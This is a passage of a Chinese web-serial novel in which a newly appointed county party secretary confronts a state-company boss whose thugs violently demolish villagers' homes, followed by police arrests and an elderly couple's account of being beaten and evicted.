“哼,”他鼻腔里发出一声轻蔑的冷哼,烟雾随着他的话语喷吐出来,模糊了他脸上深刻的法令纹,“我说小子,看着人模狗样念过几年书是吧?”
“吃饱了撑的管这闲事?”
“嗯?拆迁安置,县里有政策!”
“新城区规划都是板上钉钉的事儿!你算哪根葱?管什么闲事?还敢动手**?”
第14章 城投老总
他顿了顿,语气更冷,指着地下的疤脸,“知道那马老三是什么人吗?”
“人家是与县里城投公司签了合同的拆迁队!有手续!”
“你这闹一出,让县里拆迁进度卡了壳,这责任算谁的?!”
他扭过头,目光如同淬了寒冰的锥子,狠狠钉在江昭宁依旧染着血痕的脸上:“别以为拿个破手机拍来拍去就能当正义使者了?”
“这世道,是你逞英雄的地儿?”
“也不掂量掂量自己几斤几两!”语气里的讥诮如同毒液。
“你是什么人?”江昭宁的声音不高,却像淬了冰的刀锋,硬生生劈开这午后凝滞的、弥漫着尘土与绝望的空气。
“哈!”旁边一个秃头、咧着嘴的喽啰猛地啐了一口浓痰,抢着跳出来,手指几乎戳到江昭宁的鼻尖,唾沫星子横飞,“瞎了你的狗眼!”
“这是我们城投的老大,蒋文光老总!”
“在东山这片地界儿混饭吃,连蒋总的金面都没拜过?活该你今儿撞上铁板,倒了血霉!”
江昭宁的身体猛地一僵。
江昭宁的目光掠过蒋文光,扫过他身后那几个一道刚过来铁塔般矗立的打手。
清一色的黑色紧身背心,粗壮的臂膊上刺着模糊的青色纹路,汗水和灰尘混合,在紧绷的肌肉上画出污浊的沟壑。
他们手里都攥着东西——不是木棍,是手腕粗、一米来长的空心钢管,一端磨损得厉害,沾着可疑的灰白水泥碎屑。
另一端在阳光底下闪着沉甸甸的、属于金属的凶光。
一股冰冷的火焰猛地从江昭宁心底窜起,烧灼着他的喉咙。
他向前逼了一步,声音陡然拔高,每一个字都像淬火的石子,狠狠砸向蒋文光那张波澜不惊的脸:“老总?”
“一个城投的老总,手底下豢养着这样一群打手?”
“靠着钢管和拳头,暴力**,把别人世世代代的家砸成平地?这就是你干的‘好事’?”
“欺负这些手无寸铁、老实巴交的百姓?”
“你——还配坐这个位置?还配称一声‘老总’?!”
蒋文光那张精心维持的平静面具,终于裂开了。
他先是微微一怔,似乎没料到眼前这个看起来文弱的年轻人竟敢如此直斥其非。
随即,一丝被冒犯的暴怒扭曲了他的嘴角,那支雪茄被他狠狠摔在地上,昂贵的鞋尖无情地碾过,昂贵的烟草和泥土混成一团污秽。
他猛地抬起头,脸上肌肉抽动,一种混合着轻蔑、残忍和被戳破伪装的恼羞成怒的狞笑,像毒藤般在他脸上迅速蔓延开来。
“哈!哈哈!”蒋文光怪笑两声,手指点着江昭宁,声音陡然拔高,尖利刺耳,“好!好得很!”
“你个不知道天高地厚的混账东西!”
“蹬鼻子上脸,教训起老子来了?”
他往前踏了一步,皮鞋踩碎一块瓦砾,发出刺耳的碎裂声,“你以为你是谁?”
“是微服私访的青天大老爷?还是新上任的县委**?!”
“嗯?谁他妈给你的狗胆!”
那狞笑猛地一收,只剩下毒蛇般冰冷的凶光。
他环顾了一下那几个早已跃跃欲试的打手,手猛地向下一劈,动作干脆利落,带着不容置疑的杀伐决断:“上!给我好好‘教教’他什么叫规矩!”
他嘴角咧开,露出森白的牙齿,一字一顿,清晰地补充了那个让所有人心底发寒的指令,“听好了——只要不打死,就往死里打!”
“打到他妈都认不出他来!”
命令如同解开猛兽的锁链。
“呜嗷——”一声野兽般的低吼,五个早已蓄势待发的黑影,如同闻到血腥味的鬣狗,猛地弹射而出!
沉重的脚步践踏着地上的碎砖烂瓦,发出哗啦的爆响。
为首那个满脸横肉、脖颈上刺着蝎子图案的壮汉,动作最快最狠。
他双手紧握钢管,借着前冲的蛮力,抡圆了胳膊,那根沾着污迹的钢管带着撕裂空气的尖啸,像一条黑色的毒**,朝着江昭宁毫无防备的左侧太阳穴,凶狠无比地直劈而下!
这一下若砸实了,颅骨碎裂只在瞬间!
千钧一发!
江昭宁瞳孔骤然缩
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成针尖!
那死亡的尖啸刺激着他每一根神经。
求生的本能压倒了愤怒,他全身的肌肉在电光石火间爆发出最后的力量,猛地向右侧扑倒!
呼!
钢管擦着他的左耳廓呼啸而过,带起的劲风刮得他脸颊生疼,耳朵里嗡嗡作响。
他甚至能闻到钢管上残留的、混合着汗水和铁锈的腥气。
但危机并未结束!
几乎在他扑倒的同时,另一个打手阴狠的扫堂腿已至!角度刁钻,时机拿捏得极准!
砰!
反应极快的江昭宁纵身一跳跃,这家伙扑了个空!
江昭宁又操起了刚才丢弃在地下的钢管。
恼羞成怒的几个打手又要猛扑上来。
倏地,一阵骤然响起的、尖锐到几乎撕裂耳膜的警笛声由远及近,瞬间充塞了整个狭窄的巷道!
红蓝色的警灯光芒穿过弥漫的尘埃,冷酷而有节奏地交替闪烁着,将残垣断壁和混乱人影切割得光怪陆离。
“哐!哐!”
两辆刷着蓝白警漆、车身蒙尘的警用面包车粗暴地甩停在巷口。
车门被猛地拉开,里面扑出五六个身着制服的干警,动作熟练而迅速。
“干什么呢!住手!”为首的派出所长刘洋意长个头不高,一张方脸绷得死紧,浓眉下压着一双鹰隼般锐利却又蒙着一层见惯风尘冰霜的眼睛。
他用目光快速一扫狼藉现场,严厉的喝令如同鞭子抽打在空气中,自带一股不容置疑的威压。
那几个打手不得不停止了动作。
“刘所!这小子!这小子动手打拆迁队的人!他就是带头**、**的祸首!”蒋文光高声叫道。
“反了天了!”刘洋意目光如刀,瞬间钉在江昭宁脸上——他衣衫撕破,脸上臂上都是擦伤血痕。
尤其手中那根沾着新鲜血迹的钢管,在这个角度看来,简直是铁打的罪证!
那钢管在江昭宁有些发抖的手中格外扎眼。
刘洋意眉头拧得更紧,眼中厌恶更甚。
“放下东西!”他的声音陡然拔高,一股怒意迸出。
第15章 这不对劲!
江昭宁放下了钢管,有警察在,打,肯定是打不起来了。
“嗬……”一声带着痰音、居高临下的嗤笑响起,如同钝器刮过生锈的铁皮,刺耳又轻蔑。
蒋文光微微俯下身,声音刻意压低了,却带着砭骨的寒意,一字一句,清晰地钻进江昭宁嗡嗡作响的耳朵里:“小子,警察来了!救星到了?哈!”
他鼻腔里又挤出一声短促的冷笑,歪着头,眼神像淬了毒的钩子,“不,不对,他们是来收你的!”
“准备好没有?号子里的饭,听说可硬得很,硌牙!就是不知道你这身板,啃不啃得动几天?”
那声音狠狠扎进江昭宁的脑海。
江昭宁眼神里只有一种令人心悸的平静和……一丝诡异的笑意。
那笑容扭曲,却像淬火的刀锋,亮得刺眼。
蒋文光被这眼神和这抹诡异的笑容刺得一怔。
心底那股刚刚因警察到来而稍微平息的暴戾,像是被投入了一块寒冰,瞬间熄灭了火焰。
取而代之的,是一股毫无来由、却异常清晰地从尾椎骨窜起的寒意,迅速蔓延至四肢百骸。
他下意识地想要后退半步,却又强行定住身形,不愿在手下面前露怯。
这不对劲!
这小子……是吓疯了?还是……藏着什么?
“蒋文光……给你讲个冷笑话,特别适合你现在听。”
这突兀的转折,让蒋文光和他身后几个凶悍的手下都愣住了。
讲笑话?在这种时候?这小子脑子是真被打坏了?
江昭宁用一种冰冷刺骨的语调,清晰地吐出那个在此时此地显得无比怪诞的句子:“从前有一个人姓蔡,左邻右舍都叫他小蔡。”
“……”一片死寂。
“结果有一天,”江昭宁的声音陡然拔高,带着一种撕裂般的穿透力,“他被端走了!”
“小——菜——被——端——了——!”
“嗬…嗬嗬……”江昭宁的声音,一个字一个字,清晰地烙印在死寂的空气中:“蒋文光……你……今天上午没在县委礼堂开会?”
“看看我是谁?看清楚了……”
他的视线,缓缓地、带着一种刻骨的嘲讽。
轰——!
这句话,像一颗无声的**,在蒋文光脑海里轰然炸响!
县委礼堂?开会?
一个模糊而可怕的念头,如同冰冷的毒蛇,瞬间缠紧了他的心脏,让他几乎窒息!
蒋文光全身猛地一个激灵!
仿佛被高压电流击中,从头皮麻到脚底板!
一个巨大的、冰冷的、足以将他灵魂都冻结的恐惧感攫住了他。
他像见了鬼一样,瞳孔骤然收缩到针尖大小,死死盯着那张布满污迹却轮廓逐渐清晰的脸。
这张脸……这眉眼……那神情……
难怪刚才说冷笑话,那是说端掉自己小菜一碟!
“你……你……你……”蒋文光的声音抖得不成样子,牙齿咯咯作响,仿佛置身于冰窟之中,身体不受控制地剧烈颤抖起来,一股寒气从脚底直冲天灵盖,让他几乎站立不稳,“江……江……?!”
话音落下的瞬间。
刘洋意听到蒋文光那声凄厉变调的“江……”时,脑子里像是有什么东西“嗡”的一声炸开了!
他瞬间反应过来了,对面的是新县委**啊!
一股巨大的、冰凉的寒意瞬间从刘洋意的脚底板窜到头顶,头皮阵阵发麻!
后怕如同汹涌的潮水,瞬间将他淹没!
心脏在胸腔里疯狂擂鼓,几乎要撞碎肋骨!
他一阵惊悸,如果蒋文光的人下手再狠一点,如果江**真的在他们眼皮子底下出了大事……
妈呀,自己差点步张彪的后尘。
成为整个**系统的反面典型!
不,后果可能比张彪还要严重!
县委**在光天化日之下,在他的辖区里,被一伙手抡钢管凶器的黑恶势力分子群殴?!
他倒抽了一口冷气。
“动手!”刘洋意突然吼叫道。
两个离江昭宁最近、早已形成条件反射的精壮年轻干警,几乎在吼声落下的瞬间便如猛虎般扑了出去!
他们的动作迅捷、凶狠,带着一种执行“常规任务”的惯性,带着擒拿的力道,眼看就要狠狠扣向江昭宁的肩膀和手臂!
空气在这一刻凝固、炸裂!
“混账东西!你们抓谁?!”一声雷霆般的怒吼,如同平地炸响的惊雷,带着难以置信的暴怒和一种近乎实质性的威压,轰然炸响!
刘洋意目眦欲裂,仿佛要喷出火
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来!
他刚才那瞬间的后怕和劫后余生的庆幸,此刻被眼前这荒谬绝伦、胆大包天的景象彻底点燃,转化为焚天的怒火!
他猛地抬手:“把寻衅滋事的蒋文光!还有他身后这群为非作歹的打手!一个不留!全部给我抓起来!立刻!马上!”
这石破天惊的命令,如同无形的冲击波,狠狠撞在每一个警察的神经上!
所有的警察一愣,这?
对方可是城投的老总啊!
这巨大的反转,这颠覆性的命令,让他们的大脑瞬间宕机,思维一片空白。
刘洋意看着手下犹豫不决的样子,一股邪火直冲天灵盖!
这帮蠢货!难道还看不清形势?还在畏惧蒋文光过去的**?
这简直是在把他刘洋意,把整个派出所往绝路上推!
他瞬间明白了,此刻的犹豫,就是未来的罪行!
他必须用最直接、最不容置疑的方式,彻底粉碎他们的侥幸和恐惧!
他一恼怒,“嗖”地拔出了**,咬牙切齿道:“蒋!文!光!你以为老子手里拿的是**玩具枪?!”
“聚众斗殴?暴力**县委**?!**吃了熊心豹子胆了?!睁开你的狗眼看看!你眼前的是谁?!”
这声怒吼,配上那支闪烁着无情金属光泽的**,如同醍醐灌顶,又如同九天惊雷,瞬间劈开了所有警察脑中的迷雾!
哗——!
如同被无形的鞭子狠狠抽醒,所有的警察,从干警到辅警,瞬间明白了!
巨大的恐惧和后怕瞬间被一种“站队求生”的狂热所取代!
目标是蒋文光!
是这群在县城横行无忌、早已**人怨的恶霸!
而那个年轻人,是新来的县委**!
是天!
是此刻必须不惜一切代价保护的对象!
再没有任何犹豫!
所有的迟疑瞬间被抛到九霄云外!
求生的本能和对权力的敬畏压倒了一切!
十几名警察如同决堤的洪水,“哗”地一下,带着一种近乎凶狠的气势,猛地扑向了蒋文光和他那群早已吓傻的打手!
动作之迅猛,态度之坚决,与刚才的犹豫判若两人!
场面瞬间失控!
却又在另一种力量下被强行控制!
第16章 抓捕
“按住他!”
“铐起来!”
“别动!老实点!”
怒吼声、呵斥声、身体碰撞的闷响瞬间充斥了整个废墟!
蒋文光身后的几个核心打手,平日里仗着蒋文光的势,嚣张跋扈惯了。
此刻在巨大的恐惧和惯性的驱使下,有两个身材粗壮、满脸横肉的家伙竟然还想挣扎反抗!
其中一个猛地挥拳打向扑来的警察,试图挣脱!
“找死!”刘洋意眼神一厉。
根本不用他再下令。
旁边一个反应极快的干警早已抡起手中的枪柄,带着风声,狠狠砸在那打手试图挥拳的太阳穴上!
“砰!”一声令人牙酸的闷响!
“呃啊!”那打手连哼都没哼完整,眼前一黑,像一截被砍倒的朽木,直挺挺地栽倒在地,鲜血瞬间从额角汩汩涌出。
另一个试图反抗的,也被侧面冲来的警察用警棍狠狠砸在腿弯处,“咔嚓”一声脆响,惨叫着跪倒在地,随即被数人死死压住!
反抗的火苗被瞬间、无情地掐灭!
冰冷的、闪烁着无情金属光泽的**,“咔嚓!咔嚓!咔嚓!”一声声清脆又冷酷的啮合声此起彼伏,紧密地、毫不留情地锁在这些打手粗壮肮脏的手腕上!
金属齿牙深深嵌入皮肉,勒出紫红的印痕。
那深入骨髓的寒意顺着被压迫的血管,瞬间蔓延至四肢百骸,冻结了所有反抗的念头。
两人一副**,像串蚂蚱一样,粗暴地将这些刚才还凶神恶煞的打手串联在一起!
整个场面的画风,在短短十几秒内,发生了翻天覆地的逆转!
刚才还气焰嚣张的施暴者,被警察以最粗暴、最**的方式控制着。
巨大的力量毫不容情地施加在这些打手身上!
警察们没有丝毫怜悯,拧转他们的胳膊,粗暴地推搡着他们踉跄的身体。
将他们狠狠推向停在一旁、沾满油污和泥泞的警车车门!
“哐当!”“哐当!”“哐当!”
一连串沉重闷响!
身体与冰冷坚硬的金属车门剧烈碰撞!
车身在巨大的冲击力下剧烈摇晃,车顶和门框上的细微灰尘簌簌震落,在警灯旋转的红蓝光芒中形成一片迷蒙的灰雾。
“带走!”刘洋意的声音再次响起,斩钉截铁,冰冷得如同西伯利亚冻原上坠落的冰棱。
他收起枪,但眼神比枪口更冷。
警车的后门被粗暴地拉开。
蒋文光像一袋被丢弃的垃圾,被两个强壮的警察死死架着,巨大的力量将他毫无尊严地塞进了后座。
他整个人被死死按在坚硬冰冷、毫无舒适可言的塑料座椅上,一侧脸颊因为巨大的推力而紧紧贴上了蒙着灰尘和雨渍的车窗玻璃。
那污秽冰冷的触感,如同他此刻绝望的心境。
他不甘心!
巨大的恐惧中夹杂着最后一丝对权力等级的迷信!
他奋力地、像一条离水的鱼般拼命扭过头,脖颈因用力而青筋暴起,目光透过肮脏模糊、布满指纹和雨痕的玻璃,绝望地投向那片他曾经志在必得、如今却化为废墟的狼藉场地。
那台巨大的锈红色挖掘机,钢铁吊斗巨铲依旧悬停半空。
在警灯疯狂闪烁、令人眩晕的红蓝光芒映照下,投下巨大而狰狞的阴影,像一头沉默的钢铁巨兽,嘲笑着他的彻底失败。
“唔……唔唔!!!”他徒劳地挣扎着,手腕上的精钢**在同样冰冷的金属座椅扶手上猛烈刮擦。
发出令人牙酸的“嘎吱——嘎吱——”噪音,刺耳地回荡在狭小的车厢内。
他想怒吼,想质问,想搬出最后的护身符!
但一只带着汗味和皮革味的大手,带着不容抗拒的力量,死死地捂堵在他的口鼻之上!
他只能发出绝望的、如同被堵住气管的困兽般沉闷而痛苦的呜咽,眼泪、鼻涕和口水不受控制地糊满了那只手掌。
窒息感和极致的**感几乎将他逼疯!
他猛地爆发出最后一丝力气,用被铐住的手肘狠狠撞向捂他嘴的警察,趁着对方吃痛松劲的瞬间。
他猛地吸了一口气,带着破釜沉舟的疯狂和一丝色厉内荏,嘶声尖叫道:“刘!洋!意!”
“**一个小小的副科级派出所所长!你算什么东西?!敢抓我?!”
“老子是正科级的国企老总!是市里蔡市长
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亲自点的将!”
“**活腻味了?!”
“你敢动我一根汗**,老子让你吃不了兜着走!扒了你这身皮!!”
这歇斯底里的叫嚣,带着对等级森严的官场逻辑最后的迷信,试图用“正科级”和“蔡市长”的虎皮来震慑眼前这个“以下犯上”的副科级所长。
然而,回应他的,是快如闪电、势大力沉的一记耳光!
“啪!!!”
一声极其清脆响亮的爆鸣!在狭小的车厢内如同炸雷!
刘洋意不知何时已经阴沉着脸站在了车门外,刚才那一巴掌正是他含怒出手!
力道之大,直接将蒋文光打得脑袋猛地偏向另一边,眼前金星乱冒。
左脸颊以肉眼可见的速度红肿起来,嘴角破裂,一丝鲜血蜿蜒流下。
刘洋意俯下身,那张平时或许还带着几分圆滑的脸,此刻只剩下冰冷的杀气和一种“痛打落水狗”的决绝。
他几乎将脸凑到蒋文光眼前,唾沫星子喷了对方一脸,声音压得极低,却字字如刀,带着刻骨的嘲讽和宣判:“蒋文光!”
“睁开你的狗眼!看看清楚!”
“你一个小小的正科级干部?算个屁!给江**提鞋都不配!”
“**竟然敢充当黑恶势力的保护伞?!”
“光天化日之下,聚众**殴打新任县委**?!”
“**不是胆儿肥,你是活腻了!想拉着全家一起下地狱!!”
“蔡市长?”刘洋意嗤笑一声,眼神如同看一个**,“你猜,蔡市长现在是想保你,还是想第一个跟你划清界限,把你踩进十八层地狱?!”
“我……”蒋文光被这连珠炮般的质问和那记响亮的耳光彻底打懵了。
脸上的剧痛远不及心底那灭顶的寒意。
刘洋意的话像无数根冰针,狠狠扎进他最后的心理防线。
是啊……在县委**面前,他这个所谓的“正科级国企老总”算什么?
在“**县委**”这顶天大的罪名面前,“蔡市长”的名头又能顶什么用?
会不会……
他不敢想下去,巨大的、如同黑洞般的恐惧瞬间吞噬了他所有的侥幸。
第17章 您不要到医院去了?
他的身体不受控制地剧烈抽搐起来。
像发了羊癫疯,喉咙深处再次发出“嗬嗬嗬……”的、如同破风箱漏气般绝望的呜咽。
眼神彻底涣散,失去了所有神采,只剩下无边无际的黑暗和冰冷。
看着蒋文光彻底崩溃的样子。
刘洋意心中那口恶气才稍稍吐出一丝。
但他丝毫不敢松懈,甚至不敢在车里多待一秒!
他猛地一个激灵,像是突然想起了什么极其重要的事情,触电般地从警车后座旁跳了下来,动作甚至有些狼狈。
他看都没再看车里如同烂泥般的蒋文光一眼,对着负责押送的警察厉声命令,声音带着不容置疑的急切:“快!立刻!把他们全部押送看守所!”
“听清楚了吗?!”
“是!刘所!”车内的警察肃然应命,眼神里也充满了紧张和凝重。
谁都明白,这已经不是普通的治安案件了。
“呜哇——呜哇——”
警笛再次凄厉地嘶鸣起来,仿佛也带着一种急于逃离这片是非之地的惶恐。
警车猛地启动,轮胎卷起一片混着碎石和尘土的泥浆。
如同离弦之箭,风驰电掣般冲出了这片被红蓝警灯切割得光怪陆离的废墟。
朝着县城看守所的方向疾驰而去。
很快便消失在弥漫的烟尘和远处城市的轮廓线中。
车走了,带走了喧嚣、暴戾和绝望的嘶吼。
废墟之上,再次陷入了短暂的寂静。
但这寂静,与之前警察初到时那剑拔**张的凝固不同。
刘洋意站在原地,胸膛剧烈起伏,刚才那雷霆万钧的发号施令仿佛抽空了他大半的力气。
他缓缓转过身,取而代之的是一种混杂着极度后怕、劫后余生以及面对更高权力时深入骨髓的敬畏和惶恐。
他甚至不敢立刻去看江昭宁的眼睛,目光下意识地扫过那片狼藉的战场——断裂的砖石、散落的钢管、履带碾压的深痕,还有……那滩属于江昭宁的、尚未完全干涸的暗红血迹!
他的心猛地一抽!
几乎是用跑的,刘洋意踉跄着冲到依旧靠在断墙边的江昭宁面前。
他微微躬着腰,姿态放得极低,脸上堆满了发自内心的焦急和担忧,声音带着明显的颤抖和小心翼翼的恭敬:“江……江**!”
“您怎么样?!伤到哪里了?!”
“疼得厉害吗?!”
他想伸手去搀扶,又怕自己粗糙的手弄疼了对方,手臂抬起又放下,显得手足无措。
他猛地回头,拿起手机声嘶力竭地吼道:“120救护车?!用最快的速度!快啊!!”
他的吼声在空旷的废墟上回荡,带着一种惊魂未定的恐慌。
“刘所,随我来!”
“哪,**,您不要到医院去了?”刘洋意惊愕道。
“不要,你叫救护车返回,救治其他更需要救治的人。”
“我等一下自己到医务所包扎一下就行,没有伤到骨头。”
“是!”
刘洋意不敢怠慢,马上回应道。
直到这时,他才敢真正地、仔细地看向江昭宁的脸。
江昭宁的脸色在尘土和血污的覆盖下,显得异常苍白,额头上细密的冷汗不断渗出,顺着脸颊滑落,冲开一道道污痕。
每一次呼吸都牵动着身体,带来不易察觉的微颤,显然承受着巨大的痛苦。
然而,最让刘洋意心头凛然的,是那双眼睛。
那双眼眸深处,如同风暴过后的深海,表面似乎恢复了平静。
但下方涌动的,却是比之前更加深沉、更加冰冷、更加令人不寒而栗的暗流。
那目光缓缓扫过刘洋意那张写满了关切、惶恐和急于表现的脸,又投向警车消失的方向,最终落在那片被挖掘机蹂躏过的、象征着****的废墟上。
没有愤怒的咆哮,没有劫后余生的庆幸,甚至没有对刘洋意“及时救驾”的赞许。
只有一种近乎绝对的、冰冷的平静,以及一种……洞悉一切、掌控一切的漠然。
然后这并不代表江昭宁的内心没有掀起惊涛骇浪。
他在大学时,是学校的散打冠军,曾与高手对决,以一击三毫不落下风。
可是面对这么多打手的群殴,他知道自己是必败无疑。
功夫再高,也架不住群狼的攻击。
他能想象到,如警察不及时赶到,
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或者自己不跑的话,会是什么场景。
一下、二下……钢管像冰雹一样密集地落下,无情地砸在腰肋、大腿、肩膀!
每一次撞击都带来一次剧烈的抽搐和深入骨髓的痛楚。
每一次沉重的落下,都像有烧红的烙铁狠狠烫进皮肉,又像巨大的铁锤反复擂打着他的骨骼。
世界在剧痛中疯狂旋转、扭曲、崩塌。
他能清晰地听到自己骨头在重击下发出的不堪重负的呻吟,能感受到温热的液体正迅速浸透后背的衣衫,黏腻地贴在皮肤上。
最后昏厥,甚至重伤,甚至不治而亡……
别以为这不可能,这些黑恶势力将百姓殴打致死,伪装成“意外”的事又不是没有。
虽然不多见。
这个刘洋意,关键时候,倒是拎得清的。
分得清大小王,不含糊!
当然,这个想法,绝不能在他面前流露分毫。
一丝一毫都不能。
驭下之道,如同熬鹰,恩威并施。
但“恩”的给予必须吝啬且精准。
任何过早的肯定都可能让棋子滋生不该有的妄念。
江昭宁的嘴角,极其微弱地、几乎难以察觉地再次向上牵动了一下。
那不再是最初面对蒋文光时那淬火刀锋般诡异刺眼的笑,也不是后来宣判“小菜被端了”时带着刻骨嘲讽的笑。
江昭宁微微抬起眼皮,目光掠过脸上带着恰到好处关切与后怕神情的刘洋意,没有停留。
江昭宁的眼光停留在眼前断壁残垣的修罗场。
半堵倔强的砖墙孤零零立着,墙上巨大的、血红色的“拆”字被撕掉半边,像个狰狞的伤口。
江昭宁踏过一地狼藉的废墟,走向已被**的那个老人的“家”!
歪斜的门框像个被扭断脖颈的巨人,无力地倚靠着断墙,门板早已不知去向。
门槛的位置,散落着被无数只脚践踏过的狼藉:破碎的搪瓷碗碟,撕烂的花布棉被。
还有……
在厚厚的尘土和碎屑中,一张破碎成蛛网的,泛黄的全家福相框照片顽强地露出了一角。
玻璃碎片像冻结的泪珠,零乱地反射着浑浊的天光。
第18章 青天大老爷!
照片上,笑容模糊却温暖,祖孙三代依偎在一起,背景依稀是这间如今已不复存在的屋子。
刚才的那个老人瑟缩在残墙的阴影里,眼神空洞麻木,像一尊尊被抽走了魂灵的泥塑。
他身体剧烈地抖了一下,浑浊的眼睛死死盯着地面,布满青筋的手死死攥紧了身边老伴破旧的衣角。
旁边的老妇人,则把头埋得更低,几乎要垂到胸前。
枯瘦的肩膀同样在剧烈地发颤,幅度甚至比老人更大。
她花白的头发散乱地遮住了大半张脸。
只能看到干瘪的嘴唇在无声地翕动,像是在喃喃自语,又像是在无声地啜泣。
这片死寂的废墟里,只有风穿过断壁残垣的呜咽声,以及这对老人压抑到极致的、如同濒死小动物般的细微颤抖。
他蹲下身,尽量让自己的高度与老人平齐,试图减轻那份自上而下的威慑。
这个动作牵动了他的伤处,尖锐的疼痛让他几不可察地蹙了下眉,但他脸上的表情依旧维持着一种克制的平静。
“老大爷,”他的声音不高,在寂静的废墟里却显得格外清晰,带着一种刻意放缓的、安抚的温和,“刚才……是怎么一回事,你能跟我说说吗?”
声音落下的瞬间,如同投入死水潭的石子。
老人像是被无形的鞭子狠狠抽打了一下,整个人猛地一个激灵,剧烈地抖了一下,几乎要弹跳起来。
他惊恐地抬起头,浑浊的眼睛里布满血丝,瞳孔骤然收缩,死死地盯住了江昭宁的脸。
那目光里充满了原始的恐惧,如同受惊的野兽看到了猎人。
但很快,那恐惧中又混杂进一种奇异的辨认。
“啊——!”一声短促、嘶哑、如同砂纸摩擦般的惊呼从他喉咙里挤了出来。
这声惊呼不是因为疼痛,而是因为一种更深的、被权威注视的惊悸。
“你……你是个当官的吧?!大官!”
“我看到了!他们都怕你!刚才那些凶神恶煞的人,全部被警察收拾了……警察也听你的话!”
江昭宁保持着蹲姿,声音更加沉稳,带着一种不容置疑的承诺,清晰地送入老人的耳中:“大爷,我是江昭宁,是这个县新来的县委**。”
他刻意加重了“县委**”四个字的分量,如同投下一枚定心丸,“别怕,天塌不下来。”
“告诉我,到底发生了什么?谁干的?我在这里,为你做主!”
“县委**……”老人浑浊的眼睛死死盯着江昭宁,仿佛在消化这惊天动地的四个字。
那是一种只在戏文里听说过的、如同“青天”般遥远的存在。
绝望的冰层骤然崩裂,希望的岩浆喷涌而出!
“青天大老爷啊——!!!”
一声凄厉到足以撕裂灵魂的哭喊,如同受伤濒死的鸟雀用尽最后力气发出的悲鸣,猛地从老人胸腔里爆发出来!
这哭声饱含着积压了太久太久的**、恐惧和无助,瞬间冲破了废墟的死寂,凄厉地、绝望地撕扯着这片被蹂躏过的空气。
浑浊的老泪如同决堤的洪水,汹涌地从他沟壑纵横的脸上滚落,冲刷着脸上的尘土,留下道道泥痕。
他身旁的老伴,被这哭声感染,也终于压抑不住,发出一声悲切到极点的呜咽,枯瘦的身体剧烈地抽搐起来,那攥着老伴衣角的手,指关节捏得死白。
老人嘴唇剧烈地哆嗦着,仿佛有千言万语堵在喉咙口,让他喘不过气。
他猛地伸出那双布满老茧和青筋、此刻却抖得如同风中落叶的手,死死抓住了江昭宁的胳膊!
那力道之大,带着一种溺水者抓住浮木的绝望和疯狂,指甲几乎要嵌进江昭宁的手里。
“**……**啊……”老人泣不成声。
他的每一个字都带着血泪的咸腥,断断续续地,却又带着一股倾泻而出的悲愤,开始了他的控诉:“是蒋文光……是那个挨千刀的蒋文光指使人干的啊!”
他嘴唇哆嗦得不成样子,喉头咯咯作响,手指紧紧抠进冰冷的瓦砾泥土之中:“我们……我们家在这块老地界住了……住了快三代人了啊!”
老人的目光,浑浊得如同积满泥沙的潭水,死死攫住那片只剩半堵残墙的祖屋地基。
那曾是自己安身立命的所在,如今只剩一堆碎砖烂瓦,像被野兽啃噬后吐出的残骸。
他干裂的嘴唇猛地张开,声音骤然拔高,尖利得如同生锈的刀片刮过朽骨,“政府要征地,我们也认了!”
“我们不是刁民,我们答应!”
“可是那个蒋文光,他说得倒是很轻巧,‘先搬出去投亲靠友嘛,补偿款和新房子,等安排好了再说!’”
老人每一个字都像从胸腔深处撕裂出来,“等?我问他,‘要等到什么时候?’”
“他只回答了一句‘不定’,就再不理睬。”
他佝偻的身躯剧烈地颤抖起来,枯枝般的手指痉挛地指向废墟:“我们就这一间遮风挡雨的屋子!”
“亲戚?祖辈扎根在这里,哪还有旁枝散叶的亲戚肯收留两个累赘?”
老人的声音陡然低沉下去,裹着沉重的绝望,“而且……我那老婆子啊,
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她的病一天三顿离不了那苦汤药……那药罐子一开,满屋子都是又苦又涩的怪味儿,熏得人脑仁疼……”
“谁家不嫌晦气?谁愿意让两个老棺材瓤子,带着一身病气药味进门?”
浑浊的泪水终于冲破眼眶的堤坝,沿着脸上刀刻般的深壑蜿蜒而下,混着尘土,“可他们哪管这些?”
老人猛地仰起头,眼中爆发出骇人的光芒,声音再次变得尖利,如同濒死野兽的嚎叫,“他们不听!他们蛮横!他们不讲理啊!”
“三天前……就是三天前!”老人瞳孔骤然收缩,枯臂指向废墟深处,仿佛那恐怖的景象再次重演,“黑压压……一大片人!像暴雨前压城的乌云!”
“手里……手里都抄着家伙!”他喉咙里发出“嗬嗬”的抽气声,每一个字都带着血腥气,“铁棍!钢管!闪着寒光!比那门框还粗!”
“我们……我们两个黄土埋到脖子的老东西,没签字!没同意!”
老人身体因极致的愤怒和恐惧而摇晃,“可他们……他们连眼都没眨一下!二话不说……像一群红了眼的疯狗,嗷嗷叫着就冲了上来!”
“他们……他们**!砸东西!”
“我儿子…我儿上去拦,就想理论两句啊……”老人猛地抬头,布满血丝的眼角几乎要裂开,“那个马老三!领头的!”
“就是刚才在这里那个最凶的!”
“一巴掌把我儿子掀倒在地!”
“还不解恨!”老人的声音陡地扭曲变形,仿佛喉咙被利刃反复刺穿,每一个字都滴着血。
“那脚……那脚,踩啊踩……”
老人干涩的喉咙艰难地摩擦着,发出锈蚀铁器刮擦般沙哑的声音:“我儿……腰折断了,三根肋骨全碎了!”
“现在还在医院躺着呢!”
他浑浊的眼珠里滚出几颗豆大的泪珠,沉重地砸入脚下的瓦砾里,如同砸碎在人心上。
“可今日……他们又来了!”
老人骤然枯臂猛力一伸,指向废墟深处那扇歪斜扭曲的门框,声音如飒飒欲坠的落叶般颤栗着,裹挟着巨大的恐惧与绝望,“就在那里,就在那里……”
“肆无忌惮地挖墙、挖房子,你刚才也看到了!”
“家里的鸡…鸡…我老伴…她连她存了一辈子买的一对银镯子都没来得及拿出来…瓦罐…桌子…祖宗牌位…全…全被压烂了!”
“我的家……我的家就这么没了……什么都没了……照片……我爹娘的照片还在里面啊!”
“老天爷不开眼啊……**,您要为我们做主啊!”
第19章 我马上给您解决问题!
他身边的老伴也像是被他的话触发了身体里最后的闸门,发出压抑到极致的呜咽。
她突然伸出枯柴般的手,拼尽全力挖刨脚边湿冷的泥土碎石,指甲缝里很快渗出血丝混着污泥:“我的镯儿啊!埋在下面了啊!”
“我娘……我娘留给我的啊!”
哭声沙哑,如同砂纸摩擦骨头。
“蒋文光……他……他就是我们这里的土皇帝!”
“他说拆就得拆,说打就打……没人敢管啊!”
“我们……我们实在是活不下去了啊……呜呜呜……”
“我的孙儿…我的小孙孙……他才七岁,刚上学啊!”老妇人凄厉的哭号又陡然爆发。
带着野兽濒死的呼号穿透了破败的墙壁,直刺灰蒙低垂的天空。
